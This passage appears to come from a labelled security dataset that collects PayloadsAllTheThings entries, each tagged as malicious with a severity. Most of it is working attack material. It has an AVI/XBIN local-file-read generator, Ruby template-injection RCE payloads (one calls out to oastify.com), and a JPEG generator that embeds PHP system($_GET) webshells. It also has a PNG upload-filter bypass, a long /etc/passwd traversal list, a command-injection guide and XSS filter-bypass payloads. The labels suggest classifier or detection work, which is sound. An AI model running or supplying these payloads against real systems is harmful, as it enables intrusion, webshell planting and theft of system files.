test_xbin_sync(seq):\n    for start_ind in range(64):\n        path = [start_ind]\n        cur_ind = start_ind\n        while cur_ind < len(seq):\n            if seq[cur_ind] == 0:\n                cur_ind += 3\n            else:\n                assert seq[cur_ind] & (64 + 128) == 128\n                cur_ind += (seq[cur_ind] & 63) + 3\n            path.append(cur_ind)\n        assert cur_ind == len(seq), \"problem for path {}\".format(path)\n\n\ndef echo_seq(s):\n    assert len(s) % 16 == 0\n    res = []\n    for i in range(0, len(s), 16):\n        res.append(echo_block(s[i:i + 16]))\n    return ''.join(res)\n\n\ntest_xbin_sync(gen_xbin_sync())\n\nSYNC = echo_seq(gen_xbin_sync())\n\n\ndef make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):\n    content = b'GAB2\\x00\\x02\\x00' + b'\\x00' * 10 + playlist.encode('ascii')\n    packet = b'00tx' + struct.pack('<I', len(content)) + content\n    dcpkt = b'00dc' + struct.pack('<I',\n                                  fake_packet_len) + b'\\x00' * fake_packet_len\n    return AVI_HEADER + packet + dcpkt * fake_packets\n\n\ndef gen_xbin_packet_header(size):\n    return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])\n\n\ndef gen_xbin_packet_playlist(filename, offset, packet_size):\n    result = []\n    while packet_size > 0:\n        packet_size -= 16\n        assert packet_size > 0\n        part_size = min(packet_size, 64)\n        packet_size -= part_size\n        result.append(echo_block(gen_xbin_packet_header(part_size)))\n        result.append(\n            EXTERNAL_REFERENCE_PLAYLIST.format(\n                size=part_size,\n                offset=offset,\n                filename=filename))\n        offset += part_size\n    return ''.join(result), offset\n\n\ndef gen_xbin_playlist(filename_to_read):\n    pls = [echo_block(XBIN_HEADER)]\n    next_delta = 5\n    for max_offs, filename in (\n            (5000, filename_to_read), (500, \"file:///dev/zero\")):\n       ", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/gen_xbin_avi.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00142", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - Ruby\n\n> Server-Side Template Injection (SSTI)  is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.\n\n## Summary\n\n- [Templating Libraries](#templating-libraries)\n- [Universal Payloads](#universal-payloads)\n- [Ruby](#ruby)\n    - [Ruby - Basic injections](#ruby---basic-injections)\n    - [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)\n    - [Ruby - List files and directories](#ruby---list-files-and-directories)\n    - [Ruby - Remote Command execution](#ruby---remote-command-execution)\n- [References](#references)\n\n## Templating Libraries\n\n| Template Name | Payload Format |\n|---------------|----------------|\n| Erb           | `<%= %>`       |\n| Erubi         | `<%= %>`       |\n| Erubis        | `<%= %>`       |\n| HAML          | `#{ }`         |\n| Liquid        | `{{ }}`        |\n| Mustache      | `{{ }}`        |\n| Slim          | `#{ }`         |\n\n## Universal Payloads\n\nGeneric code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim.\n\nTo use these payloads, wrap them in the appropriate tag.\n\n```ruby\n%x('id') # Rendered RCE\nFile.read(\"Y:/A:/\"+%x('id')) # Error-Based RCE\n1/(system(\"id\")&&1||0) # Boolean-Based RCE\nsystem(\"id && sleep 5\") # Time-Based RCE\n```\n\n## Ruby\n\n### Ruby - Basic injections\n\n**ERB**:\n\n```ruby\n<%= 7 * 7 %>\n```\n\n**Slim**:\n\n```ruby\n#{ 7 * 7 }\n```\n\n### Ruby - Retrieve /etc/passwd\n\n```ruby\n<%= File.open('/etc/passwd').read %>\n```\n\n### Ruby - List files and directories\n\n```ruby\n<%= Dir.entries('/') %>\n```\n\n### Ruby - Remote Command execution\n\nExecute code using SSTI for **Erb**,**Erubi**,**Erubis** engine.\n\n```ruby\n<%=(`nslookup oastify.com`)%>\n<%= system('cat /etc/passwd') %>\n<%= `ls /` %>\n<%= IO.popen('ls /').readlines()  %>\n<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>\n<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>\n```\n\nExecute code using SSTI for **Slim** engine.\n\n```powershell\n#{ %x|env| }\n```\n\n## References\n\n- [Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017](https://web.archive.org/web/20181119170413/https://www.trustedsec.com/2017/09/rubyerb-template-injection/)\n- [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)\n", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/Ruby.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00143", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#!/usr/bin/python\n\n\"\"\"\n    Bulletproof Jpegs Generator\n    Copyright (C) 2012  Damien \"virtualabs\" Cauquil\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\n\t-------------\n\t# How to use\n\tb.php?c=ls\n\tSource: http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l\n\"\"\"\nfrom __future__ import print_function\n\nfrom future import standard_library\nstandard_library.install_aliases()\nfrom builtins import range\nimport struct,sys,os\nimport gd\nfrom io import StringIO\nfrom random import randint,shuffle\nfrom time import time\n\n# image width/height (square)\nN = 32\n\n\ndef insertPayload(_in, _out, payload,off):\n\t\"\"\"\n\tPayload insertion (quick JPEG parsing and patching)\n\t\"\"\"\n\timg = _in\n\t# look for 'FF DA' (SOS)\n\tsos = img.index(\"\\xFF\\xDA\")\n\tsos_size = struct.unpack('>H',img[sos+2:sos+4])[0]\n\tsod = sos_size+2\n\t# look for 'FF D9' (EOI)\n\teoi = img[sod:].index(\"\\xFF\\xD9\")\n\t# enough size ?\n\tif (eoi - sod - off)>=len(payload):\n\t\t_out.write(img[:sod+sos+off]+payload+img[sod+sos+len(payload)+off:])\n\t\treturn True\n\telse:\n\t\treturn False\n\nif __name__=='__main__':\n\n\tprint(\"[+] Virtualabs' Nasty bulletproof Jpeg generator\")\n\tprint(\" |  website: http://virtualabs.fr\")\n\tprint(\" |  contact: virtualabs -at- gmail -dot- com\")\n\tprint(\"\")\n\n\tpayloads = [\"<?php system(/**/$_GET['c'/**/]); ?>\",\"<?php /**/system($_GET[chr(99)/**/]); ?>\",\"<?php system(/**/$_GET[chr(99)]); ?>\",\"<?php\\r\\nsystem($_GET[/**/'c']);\\r\\n ?>\"]\n\n\t# make sure the exploit-jpg directory exists or create it\n\tif os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'):\n\t\tprint(\"[!] Please remove the file named 'exploit-jpg' from the current directory\")\n\telif not os.path.exists('exploit-jpg'):\n\t\tos.mkdir('exploit-jpg')\n\t\t\n\t# start generation\n\tprint('[i] Generating ...')\n\tfor q in list(range(50,100))+[-1]:\n\t\t# loop over every payload\t\t\n\t\tfor p in payloads:\n\t\t\t# not done yet\n\t\t\tdone = False\n\t\t\tstart = time()\n\t\t\t# loop while not done and timeout not reached\n\t\t\twhile not done and (time()-start)<10.0:\n\t\t\t\t\n\t\t\t\t# we create a NxN pixels image, true colors\n\t\t\t\timg = gd.image((N,N),True)\n\t\t\t\t# we create a palette\n\t\t\t\tpal = []\n\t\t\t\tfor i in range(N*N):\n\t\t\t\t\tpal.append(img.colorAllocate((randint(0,256),randint(0,256),randint(0,256))))\n\t\t\t\t# we shuffle this palette\n\t\t\t\tshuffle(pal)\n\t\t\t\t# and fill the image with it\t\t\t\n\t\t\t\tpidx = 0\n\t\t\t\tfor x in  range(N):\n\t\t\t\t\tfor y in range(N):\n\t\t\t\t\t\timg.setPixel((x,y),pal[pidx])\n\t\t\t\t\t\tpidx+=1\n\t\t\t\t\t\t\n\t\t\t\t# write down the image\n\t\t\t\tout_jpg = StringIO('')\t\n\t\t\t\timg.writeJpeg(out_jpg,q)\n\t\t\t\tout_raw = out_jpg.getvalue()\n\t\t\t\t\t\t\t\n\t\t\t\t# now, we try to insert the payload various ways\n\t\t\t\tfor i in range(64):\n\t\t\t\t\ttest_jpg = StringIO('')\n\t\t\t\t\tif insertPayload(out_raw,test_jpg,p,i):\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t# write down the new jpeg file\n\t\t\t\t\t\t\tf = open('exploit-jpg/exploit-%d.jpg'%q,'wb')\n\t\t\t\t\t\t\tf.write(test_jpg.getvalue())\n\t\t\t\t\t\t\tf.close()\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t# load it with GD\n\t\t\t\t\t\t\ttest = gd.image('exploit-jpg/exploit-%d.jpg'%q)\n\t\t\t\t\t\t\tfinal_jpg = StringIO('')\n\t\t\t\t\t\t\ttest.writeJpeg(final_jpg,q)\n\t\t\t\t\t\t\tfinal_raw = final_jpg.getvalue()\n\t\t\t\t\t\t\t# does it contain our payload ?\n\t\t\t\t\t\t\tif p in final_raw:\n\t\t\t\t\t\t\t\t# Yay ! \n\t\t\t\t\t\t\t\tprint('[i] Jpeg quality %d ... DONE'%q)\n\t\t\t\t\t\t\t\tdone = True\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept IOError as e:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\tbreak\n\t\t\tif not done:\n\t\t\t\t# payload not found, we remove the file\n\t\t\t\tos.unlink('exploit-j", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/createBulletproofJPG.py. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00144", "source": "payloads_all_the_things", "source_license": "MIT", "text": "..//etc/passwd\n../..//etc/passwd\n../../..//etc/passwd\n../../../..//etc/passwd\n../../../../..//etc/passwd\n../../../../../..//etc/passwd\n../../../../../../..//etc/passwd\n../../../../../../../..//etc/passwd\n..%2f/etc/passwd\n..%2f..%2f/etc/passwd\n..%2f..%2f..%2f/etc/passwd\n..%2f..%2f..%2f..%2f/etc/passwd\n..%2f..%2f..%2f..%2f..%2f/etc/passwd\n..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/etc/passwd\n%2e%2e//etc/passwd\n%2e%2e/%2e%2e//etc/passwd\n%2e%2e/%2e%2e/%2e%2e//etc/passwd\n%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd\n%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\n..%252f/etc/passwd\n..%252f..%252f/etc/passwd\n..%252f..%252f..%252f/etc/passwd\n..%252f..%252f..%252f..%252f/etc/passwd\n..%252f..%252f..%252f..%252f..%252f/etc/passwd\n..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f/etc/passwd\n%252e%252e//etc/passwd\n%252e%252e/%252e%252e//etc/passwd\n%252e%252e/%252e%252e/%252e%252e//etc/passwd\n%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e//etc/passwd\n%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd\n..\\/etc/passwd\n..\\..\\/etc/passwd\n..\\..\\..\\/etc/passwd\n..\\..\\..\\..\\/etc/passwd\n..\\..\\..\\..\\..\\/etc/passwd\n..\\..\\..\\..\\..\\..\\/etc/passwd\n..\\..\\..\\..\\..\\..\\..\\/etc/passwd\n..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\n..%255c/etc/passwd\n..%255c..%255c/etc/passwd\n..%255c..%255c..%255c/etc/passwd\n..%255c..%255c..%255c..%255c/etc/passwd\n..%255c..%255c..%255c..%255c..%255c/etc/passwd\n..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c/etc/passwd\n%252e%252e\\/etc/passwd\n%252e%252e\\%252e%252e\\/etc/passwd..%5c/etc/passwd\n..%5c..%5c/etc/passwd\n..%5c..%5c..%5c/etc/passwd\n..%5c..%5c..%5c..%5c/etc/passwd\n..%5c..%5c..%5c..%5c..%5c/etc/passwd\n..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd\n%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\/etc/passwd\n%2e%2e%5c/etc/passwd\n%2e%2e%5c%2e%2e%5c/etc/", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/Traversal.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00145", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?php \n//createPNGwithPLTE.php\n// bypass imageCreateFromPng and imagepng \n$_payload=\"<?php phpinfo()?> \";\n$_pay_len=strlen($_payload);\nif(strlen($_payload)%3!=0){\n echo \"payload%3==0 !\"; exit();\n}\n\n\n$width=$_pay_len/3;\n$height=20;\n//$im = imageCreateFromPng(\"existing.png\");\n$im = imagecreate($width, $height);\n\n$_hex=unpack('H*',$_payload);\n$_chunks=str_split($_hex[1], 6);\n\nfor($i=0; $i < count($_chunks); $i++){\n\n  $_color_chunks=str_split($_chunks[$i], 2);\n  $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));\n\n  imagesetpixel($im,$i,1,$color);\n\n}\n\nimagepng($im,\"example.png\");", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/createPNGwithPLTE.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00146", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# IIS Machine Keys\n\n> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.\n\n## Summary\n\n* [Viewstate Format](#viewstate-format)\n* [Machine Key Format And Locations](#machine-key-format-and-locations)\n* [Identify Known Machine Key](#identify-known-machine-key)\n* [Decode ViewState](#decode-viewstate)\n* [Generate ViewState For RCE](#generate-viewstate-for-rce)\n    * [MAC Is Not Enabled](#mac-is-not-enabled)\n    * [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)\n    * [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)\n* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)\n* [References](#references)\n\n## Viewstate Format\n\nViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.\n\n| Format | Properties |\n| --- | --- |\n| Base64 | `EnableViewStateMac=False`,  `ViewStateEncryptionMode=False` |\n| Base64 + MAC | `EnableViewStateMac=True` |\n| Base64 + Encrypted | `ViewStateEncryptionMode=True` |\n\nBy default until Sept 2014, the `enableViewStateMac` property was to set to `False`.\nUsually unencrypted viewstate are starting with the string `/wEP`.\n\n## Machine Key Format And Locations\n\nA machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.\n\nThe format of a machineKey is the following.\n\n```xml\n<machineKey validationKey=\"[String]\"  decryptionKey=\"[String]\" validation=\"[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]\"  decryption=\"[Auto (default) | DES | 3DES | AES | alg:algorithm_name]\" />\n```\n\nThe `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.\n\nThe `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.\n\nThe `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.\n\nThe `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.\n\nThe following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).\n\n```xml\n<machineKey validationKey=\"87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC\" decryptionKey=\"E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7\" validation=\"SHA1\" />\n```\n\nCommon locations of **web.config** / **machine.config**\n\n* 32-bits\n    * `C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config`\n    * `C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config`\n* 64-bits\n    * `C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config`\n    * `C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\config\\machine.config`\n* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))\n    * `HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4`  \n    * `HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\AutoGenKey`\n\n## Identify Known Machine Key\n\nTry multiple machine keys from known products, Microsoft documentation, or other part of the Internet.\n\n* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)\n\n    ```powershell\n    ./view", "findings": [{"category": "malicious", "subcategory": "malicious.obfuscation", "severity": "high", "explanation": "API key leak patterns payload from API Key Leaks/IIS-Machine-Keys.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00147", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Command Injection\n\n> Command injection is a security vulnerability that allows an attacker to execute arbitrary commands inside a vulnerable application.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Basic Commands](#basic-commands)\n    * [Chaining Commands](#chaining-commands)\n    * [Argument Injection](#argument-injection)\n    * [Inside A Command](#inside-a-command)\n* [Filter Bypasses](#filter-bypasses)\n    * [Bypass Without Space](#bypass-without-space)\n    * [Bypass With A Line Return](#bypass-with-a-line-return)\n    * [Bypass With Backslash Newline](#bypass-with-backslash-newline)\n    * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)\n    * [Bypass With Brace Expansion](#bypass-with-brace-expansion)\n    * [Bypass Characters Filter](#bypass-characters-filter)\n    * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)\n    * [Bypass With Single Quote](#bypass-with-single-quote)\n    * [Bypass With Double Quote](#bypass-with-double-quote)\n    * [Bypass With Backticks](#bypass-with-backticks)\n    * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)\n    * [Bypass With $@](#bypass-with-)\n    * [Bypass With $()](#bypass-with--1)\n    * [Bypass With Variable Expansion](#bypass-with-variable-expansion)\n    * [Bypass With Wildcards](#bypass-with-wildcards)\n    * [Bypass With Random Case](#bypass-with-random-case)\n* [Data Exfiltration](#data-exfiltration)\n    * [Time Based Data Exfiltration](#time-based-data-exfiltration)\n    * [Dns Based Data Exfiltration](#dns-based-data-exfiltration)\n* [Polyglot Command Injection](#polyglot-command-injection)\n* [Tricks](#tricks)\n    * [Backgrounding Long Running Commands](#backgrounding-long-running-commands)\n    * [Remove Arguments After The Injection](#remove-arguments-after-the-injection)\n* [Labs](#labs)\n    * [Challenge](#challenge)\n* [References](#references)\n\n## Tools\n\n* [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool\n* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library\n\n## Methodology\n\nCommand injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.\n\nThe danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.\n\n**Example of Command Injection with PHP**:\nSuppose you have a PHP script that takes a user input to ping a specified IP address or domain:\n\n```php\n<?php\n    $ip = $_GET['ip'];\n    system(\"ping -c 4 \" . $ip);\n?>\n```\n\nIn the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.\n\nIf an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.\n\nThis means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.\n\n### Basic Commands\n\nExecute the command and voila :p\n\n```powershell\ncat /etc/passwd\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\nsys:x:3:3:sys:/dev:/bin/sh\n...\n```\n\n### Chaining Commands\n\nIn many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.\n\n* `;` (Semicolon): Allows you to execute multiple com", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "OS command injection payload from Command Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00148", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# XSS Filter Bypass\n\n## Summary\n\n- [Bypass Case Sensitive](#bypass-case-sensitive)\n- [Bypass Tag Blacklist](#bypass-tag-blacklist)\n- [Bypass Word Blacklist with Code Evaluation](#bypass-word-blacklist-with-code-evaluation)\n- [Bypass with Incomplete HTML Tag](#bypass-with-incomplete-html-tag)\n- [Bypass Quotes for String](#bypass-quotes-for-string)\n- [Bypass Quotes in Script Tag](#bypass-quotes-in-script-tag)\n- [Bypass Quotes in Mousedown Event](#bypass-quotes-in-mousedown-event)\n- [Bypass Dot Filter](#bypass-dot-filter)\n- [Bypass Parenthesis for String](#bypass-parenthesis-for-string)\n- [Bypass Parenthesis and Semi Colon](#bypass-parenthesis-and-semi-colon)\n- [Bypass onxxxx= Blacklist](#bypass-onxxxx-blacklist)\n- [Bypass Space Filter](#bypass-space-filter)\n- [Bypass Email Filter](#bypass-email-filter)\n- [Bypass Tel URI Filter](#bypass-tel-uri-filter)\n- [Bypass document Blacklist](#bypass-document-blacklist)\n- [Bypass document.cookie Blacklist](#bypass-documentcookie-blacklist)\n- [Bypass using Javascript Inside a String](#bypass-using-javascript-inside-a-string)\n- [Bypass using an Alternate Way to Redirect](#bypass-using-an-alternate-way-to-redirect)\n- [Bypass using an Alternate Way to Execute an Alert](#bypass-using-an-alternate-way-to-execute-an-alert)\n- [Bypass \">\" using Nothing](#bypass--using-nothing)\n- [Bypass \"<\" and \">\" using \uff1c and \uff1e](#bypass--and--using--and-)\n- [Bypass \";\" using Another Character](#bypass--using-another-character)\n- [Bypass using Missing Charset Header](#bypass-using-missing-charset-header)\n- [Bypass using HTML encoding](#bypass-using-html-encoding)\n- [Bypass using Katakana](#bypass-using-katakana)\n- [Bypass using Cuneiform](#bypass-using-cuneiform)\n- [Bypass using Lontara](#bypass-using-lontara)\n- [Bypass using ECMAScript6](#bypass-using-ecmascript6)\n- [Bypass using Octal encoding](#bypass-using-octal-encoding)\n- [Bypass using Unicode](#bypass-using-unicode)\n- [Bypass using UTF-7](#bypass-using-utf-7)\n- [Bypass using UTF-8](#bypass-using-utf-8)\n- [Bypass using UTF-16be](#bypass-using-utf-16be)\n- [Bypass using UTF-32](#bypass-using-utf-32)\n- [Bypass using BOM](#bypass-using-bom)\n- [Bypass using JSfuck](#bypass-using-jsfuck)\n- [References](#references)\n\n## Bypass Case Sensitive\n\nTo bypass a case-sensitive XSS filter, you can try mixing uppercase and lowercase letters within the tags or function names.\n\n```javascript\n<sCrIpt>alert(1)</ScRipt>\n<ScrIPt>alert(1)</ScRipT>\n```\n\nSince many XSS filters only recognize exact lowercase or uppercase patterns, this can sometimes evade detection by tricking simple case-sensitive filters.\n\n## Bypass Tag Blacklist\n\n```javascript\n<script x>\n<script x>alert('XSS')<script y>\n```\n\n## Bypass Word Blacklist with Code Evaluation\n\n```javascript\neval('ale'+'rt(0)');\nFunction(\"ale\"+\"rt(1)\")();\nnew Function`al\\ert\\`6\\``;\nsetTimeout('ale'+'rt(2)');\nsetInterval('ale'+'rt(10)');\nSet.constructor('ale'+'rt(13)')();\nSet.constructor`al\\x65rt\\x2814\\x29```;\n```\n\n## Bypass with Incomplete HTML Tag\n\nWorks on IE/Firefox/Chrome/Safari\n\n```javascript\n<img src='1' onerror='alert(0)' <\n```\n\n## Bypass Quotes for String\n\n```javascript\nString.fromCharCode(88,83,83)\n```\n\n## Bypass Quotes in Script Tag\n\n```javascript\nhttp://localhost/bla.php?test=</script><script>alert(1)</script>\n<html>\n  <script>\n    <?php echo 'foo=\"text '.$_GET['test'].'\";';`?>\n  </script>\n</html>\n```\n\n## Bypass Quotes in Mousedown Event\n\nYou can bypass a single quote with &#39; in an on mousedown event handler\n\n```javascript\n<a href=\"\" onmousedown=\"var name = '&#39;;alert(1)//'; alert('smthg')\">Link</a>\n```\n\n## Bypass Dot Filter\n\n```javascript\n<script>window['alert'](document['domain'])</script>\n```\n\nConvert IP address into decimal format: IE. `http://192.168.1.1` == `http://3232235777`\n\n```javascript\n<script>eval(atob(\"YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\"))<script>\n```\n\nBase64 encoding your XSS payload with Linux command: IE. 